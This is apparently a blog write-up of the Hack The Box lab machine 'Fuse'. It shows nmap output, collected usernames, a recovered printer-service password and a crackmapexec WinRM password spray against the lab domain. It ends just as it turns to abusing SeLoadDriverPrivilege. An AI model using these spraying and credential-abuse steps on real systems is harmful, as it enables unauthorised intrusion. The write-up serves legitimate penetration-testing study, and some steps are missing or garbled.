Fuse is a Windows, medium box is a created by egre55. Initial foothold was exploiting a corporation automatic printer install process and finding an expire credential for an user,after resetting the password we can do rpc Enumeration which give us credential for the printer service using which we can get a shell on the box. Checking Printer service permission we see it can load drivers so we create a malicious driver to get privilege escalation on the box.
# Nmap 7.80 scan initiated Sun Aug 30 08:55:56 2020 as: nmap -sC -sV -oN nmap/fuse 10.10.10.193 Nmap scan report for 10.10.10.193 Host is up (0.078s latency). Not shown: 988 filtered ports PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Site doesn't have a title (text/html). 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-08-30 03:39:11Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=8/30%Time=5F4B1C55%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results: |_clock-skew: mean: 2h33m02s, deviation: 4h02m29s, median: 13m02s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Fuse | NetBIOS computer name: FUSE\x00 | Domain name: fabricorp.local | Forest name: fabricorp.local | FQDN: Fuse.fabricorp.local |_ System time: 2020-08-29T20:41:29-07:00 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-08-30T03:41:32 |_ start_date: 2020-08-29T14:55:00 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Aug 30 09:01:06 2020 -- 1 IP address (1 host up) scanned in 309.93 seconds
Web (Port: 80)
Visiting the site on http://10.10.10.193 redirect us to http://fuse.fabricorp.local/
Enumerating the web page we find some usernames
1 2 3 4 5
pmerton tlavel sthompson bhult administrator
As we have usernames lets cewl for passwords maybe. using
and checking enumprinters we get a new password $fab@s3Rv1ce$1
This was the part I hate the most about this box as password keep reseting back.
Lets password spray again and see if we find any valid login with this password.
Shell (svc-print)
1 2 3 4 5 6 7 8
crackmapexec winrm 10.10.10.193 -u loot/users.list -p '$fab@s3Rv1ce$1' WINRM 10.10.10.1935985 FUSE [*] http://10.10.10.193:5985/wsman WINRM 10.10.10.1935985 FUSE [-] FABRICORP\pmerton:$fab@s3Rv1ce$1"Failed to authenticate the user pmerton with ntlm" WINRM 10.10.10.1935985 FUSE [-] FABRICORP\tlavel:$fab@s3Rv1ce$1"Failed to authenticate the user tlavel with ntlm" WINRM 10.10.10.1935985 FUSE [-] FABRICORP\sthompson:$fab@s3Rv1ce$1"Failed to authenticate the user sthompson with ntlm" WINRM 10.10.10.1935985 FUSE [-] FABRICORP\bhult:$fab@s3Rv1ce$1"Failed to authenticate the user bhult with ntlm" WINRM 10.10.10.1935985 FUSE [-] FABRICORP\administrator:$fab@s3Rv1ce$1"Failed to authenticate the user administrator with ntlm" WINRM 10.10.10.1935985 FUSE [+] FABRICORP\svc-print:$fab@s3Rv1ce$1 (Pwn3d!)
give us a cred to be used on winrm to get a shell
Privilege Escalation
checking whoami /all to see any intresting group
1 2 3 4 5 6 7
Privilege Name Description State ================================================================== SeMachineAccountPrivilege Add workstations to domain Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Googling about Abusing any of the Privilege we find we can Abuse SeLoadDriverPrivilege